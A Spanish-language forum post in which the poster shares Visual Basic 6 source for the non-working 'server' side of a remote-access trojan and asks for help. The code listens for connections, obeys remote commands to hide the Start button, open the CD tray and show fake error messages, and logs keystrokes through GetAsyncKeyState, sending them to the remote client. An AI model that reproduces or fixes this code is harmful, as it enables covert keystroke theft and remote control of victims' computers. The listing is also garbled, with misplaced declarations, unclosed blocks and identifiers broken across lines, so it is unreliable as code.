Eh aki el esperado server, k para variar, no va para nada xD
Codigo:
Dim WAClase As String
Option Explicit
Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowEx
A" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Dim tWnd As Long, bWnd As Long, ncWnd As Long
Private Declare Function GetAsyncKeySta
te Lib "user32" (ByVal vKey As Long) As Integer
End Sub
Private Sub Module1()
Option Explicit
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnStr
ing As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
End Sub
Private Sub Form_Load()
Timer1.Interva
l = 1
Timer2.Interva
l = 1
Winsock1.Liste
n
WAClase = "VBE"
End Sub
Private Sub Text1_Change()
If Text1.Text = "quitar_inicio" Then
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
ShowWindow bWnd, SW_HIDE
End If
If Text1.Text = "mostrar_inicio" Then
ShowWindow bWnd, SW_NORMAL
End If
If Text1.Text = "abrir_cd" Then
mciSendString "set CDAudio door open", "", 127, 0
End If
If Text1.Text = "cerrar_cd" Then
mciSendString "set CDAudio door closed", "", 127, 0
End If
If Text1.Text = "DARK TEAM" Then
If Text1.Text = "ERROR 404 not found " Then
MsgBox "Error 408 la memoria no se puede -read-", vbExclamation, ""
End If
End Sub
Private Sub Text2_Change()
Dim enviar As String
If Winsock1.State = sckConnected Then
enviar = Text2.Text
Winsock1.SendD
ata Text2.Text
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim enviar As String
Dim x As Integer, i As Integer
For i = 33 To 124
x = GetAsyncKeySta
te(i)
If x = -32767 Then
Text2.Text = Chr(i) + enviar
End If
Next
x = GetAsyncKeySta
te(32)
If x = -32767 Then
Text2.Text = " "
End If
End Sub
Private Sub Timer2_Timer()
Text2.Text = ""
End Sub
Private Sub Winsock1_Conne
ctionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accep
t requestID
End Sub
Private Sub Winsock1_DataA
rrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetDa
ta datos
Text1.Text = ""
Text1.Text = Text1.Text + datos
End Sub
Gracias por ayudarme
